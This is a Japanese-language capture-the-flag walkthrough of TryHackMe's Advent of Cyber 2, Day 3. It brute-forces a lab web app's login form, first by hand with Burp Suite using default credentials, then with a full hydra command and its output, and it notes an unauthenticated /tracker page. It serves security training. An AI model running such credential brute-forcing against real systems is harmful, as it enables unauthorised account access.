[TryHackMe] Advent of Cyber 2, Day 3 - Walkthrough -

本稿では、[TryHackMe](https://tryhackme.com/)にて提供されている「[Advent of Cyber 2](https://tryhackme.com/room/adventofcyber2)」ルームに関する攻略方法（Walkthrough）について検証します。
「Advent of Cyber 2」は「free room」（無料）で提供されています。購読を必要とせずに仮想マシンを「展開（Deploy）」することができます。

>『Advent of Cyber 2』のWalkthroughインデックスを「[[TryHackMe] Advent of Cyber 2に参加してみた](https://qiita.com/v_avenger/items/ac9092374e5bf16a2dd0)」にて公開しました。

# [Day 3] Web Exploitation: A Christmas Crisis
## ストーリー
![Day 03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/2e62e9e0-002a-ef89-2878-63710b791fa1.png)

> エルフ・McSkidyが廊下を歩いていると、かすかにピピッという音が聞こえてきます。ビー... ビー... ビー... McSkidyが「そりのエンジニアリングルーム」に近づくにつれ、かすかな音がどんどん大きくなります。ビー... ビー... ビー... 明らかに何かがおかしい！ McSkidyが部屋に駆け寄り、ドアをバタンと開け、「サンタさんのそりの制御パネル」が赤いエラーメッセージで点灯しているのを確認します。「*サンタさんのそり！ ハッキングされました。 警告！ 警告!*」 彼はエルフのセキュリティコマンドセンターへ戻りオペレーションを実行するように叫びます。
>
>McSkidyと彼のチームが「サンタのそり」のハッキングに対して制御を取り戻す作業を手伝ってくれませんか。

## Day 3 - #1.
> Deploy your AttackBox (the blue "Start AttackBox" button) and the tasks machine (green button on this task) if you haven't already. Once both have deployed, open Firefox on the AttackBox and copy/paste the machines IP into the browser search bar.

まずは、`Santa Sleigh Tracker`にアクセスします。`[Deploy]`ボタンをクリックします。
ブラウザにて割り振られたIPアドレスにアクセスします。`Santa Sleigh Tracker`のログイン画面が表示されます。
![Sleigh Tracker.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/ffa34d6a-4eb8-70db-74c2-90cc82fa2b49.png)

## Day 3 - #2.
> What is the flag?

`BurpSuite`を使用し、`Santa Sleigh Tracker`のログインフォームへブルートフォース攻撃をしかけます。デフォルトの資格情報には、次のリストを使用してください。

|ユーザー名|パスワード|
|:---|:---|
|root|root|
|admin|password|
|user|12345|

>ブルートフォース攻撃の詳細な手順については、「[ログインフォームに対するブルートフォース（総当たり）攻撃によるパスワード解析](https://qiita.com/v_avenger/items/fc054e985e79e6eddb4d)」記事をご確認ください。

`Santa Sleigh Tracker`へログインする際の`POST`リクエストを記録します。
ここでは、ユーザー名`root`、パスワード`root`にてログインを試してみます。
![Burp01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/ac7b28da-8a8b-63a8-e91f-f69e8a344db1.png)

```
POST /login HTTP/1.1
Host: 10.10.236.126
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.236.126/?login=username_incorrect
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Connection: close
Upgrade-Insecure-Requests: 1

username=root&password=root
```

右クリックし、`[Send to Responder]`（または、`Ctrl + R`）を選択します。`[Repeater]`タブに遷移します。
`[Send]`ボタンをクリックします。
![username_incorrect.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/d60cc774-83cf-9f63-3f03-f2bc278565c8.png)

「ユーザー名が正しくありません(`/?login=username_incorrect`)」と表示されています。

```
<p>
    Found. Redirecting to <a href="/?login=username_incorrect">/?login=username_incorrect</a>
</p>
```

`username=admin&password=root`に変更し、`[Send]`ボタンをクリックします。
![password_incorrect.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/dc2eeaa3-2bd2-00b9-6503-ff4af41ae92a.png)

「パスワードが正しくありません(`/?login=password_incorrect`)」と変化しました。これで、ユーザー名は特定できました。

```
<p>
    Found. Redirecting to <a href="/?login=password_incorrect">/?login=password_incorrect</a>
</p>
```

同様に`password=`パラメータも変えていきます。
`username=admin&password=１２３４５`に変更し、`[Send]`ボタンをクリックします。
![tracker.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b9a96c32-f2bc-64d1-4f0f-768da411e226.png)

```
<p>
    Found. Redirecting to <a href="/tracker">/tracker</a>
</p>
```

どうやら、ログインアカウントは`admin:12345`だったようです。

## 別解： hydra を使用したブルートフォース攻撃
ここでは、`Burp`にて取得したパラメータの値を元に、`hydra`を使用してブルートフォース攻撃を行う方法を検討します。

|取得すべき項目|取得した値|
|:---|:---|
|ウェブサイトのIPアドレス|10.10.236.126|
|URL|/login|
|フォームの種類|http-post-form|
|ユーザー名を含むフィールド|username=|
|パスワードを含むフィールド|password=|
|失敗メッセージ|password_incorrect|

```
kali@kali:~/OffsecVM$ hydra -l admin -P rockyou.txt 10.10.236.126 http-post-form "/login:username=^USER^&password=^PASS^:F=password_incorrect"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-04 01:38:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.236.126:80/login:username=^USER^&password=^PASS^:F=password_incorrect
[80][http-post-form] host: 10.10.236.126   login: admin   password: 12345
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-12-04 01:38:37
```

![hydra.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/50f01ab8-c19c-2f5a-378f-7305ce052e97.png)

## Santa Sleigh Trackerアプリにログイン
`/tracker`ページへリダイレクトするのみの設定です。すなわち、パスワード認証すらなく`Santa Sleigh Tracker`へアクセスすることができそうです。

ブラウザで次のURLへアクセスします。

```
http://YOUR_IP_ADDRESS/tracker
```

![Santa Sleigh Tracker App.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/690c86e7-bfe4-ae73-e5bc-846bcbef2dcc.png)

ページの末尾にフラグが表示されています。
これにて、 `Santa Sleigh Tracker`アプリケーションのログインに成功しました。

3日目のミッションが終了です。

# 参考になるTryHackMeのルーム
- [Introductory Networking](https://tryhackme.com/room/introtonetworking)
- [Burp Suite](https://tryhackme.com/room/rpburpsuite)
- [Hydra](https://tryhackme.com/room/hydra)

# 参考情報
- [ログインフォームに対するブルートフォース（総当たり）攻撃によるパスワード解析](https://qiita.com/v_avenger/items/fc054e985e79e6eddb4d)

# Walkthrough
- Constant Vigilance, [Christmas Crisis - web exploitation](https://www.wclaymoody.com/blog/tryhackme-adventofcyber-2020/#day-3), フラグ取得までを自動化したPythonコード
- BRYAN WENDT, [TryHackMe – Advent of Cyber 2 – Day 3 – Walkthrough](https://bryanwendt.wordpress.com/2020/12/03/tryhackme-advent-of-cyber-2-day-3-walkthrough/)
- NEERANJAN MURUGAN, [Advent of Cyber 2 ~ Try Hack Me](https://neeranjan.com/advent-of-cyber-2-try-hack-me/)